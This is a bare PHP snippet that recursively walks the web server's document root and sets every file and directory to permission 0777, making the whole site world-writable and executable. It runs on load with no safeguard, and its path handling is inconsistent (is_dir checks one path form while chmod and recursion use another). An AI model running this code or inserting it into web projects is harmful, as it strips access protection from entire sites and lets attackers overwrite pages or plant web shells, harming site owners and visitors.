function getList($path = '') { $handle = opendir($path); while($file = readdir($handle))if($file != '.' && $file != '..') if(is_dir($path.'/'.$file)) { chmod($path.$file,0777); getList($path.$file.'/'); } else { chmod($path.$file,0777); } closedir($handle); } getList($_SERVER["DOCUMENT_ROOT"].'/');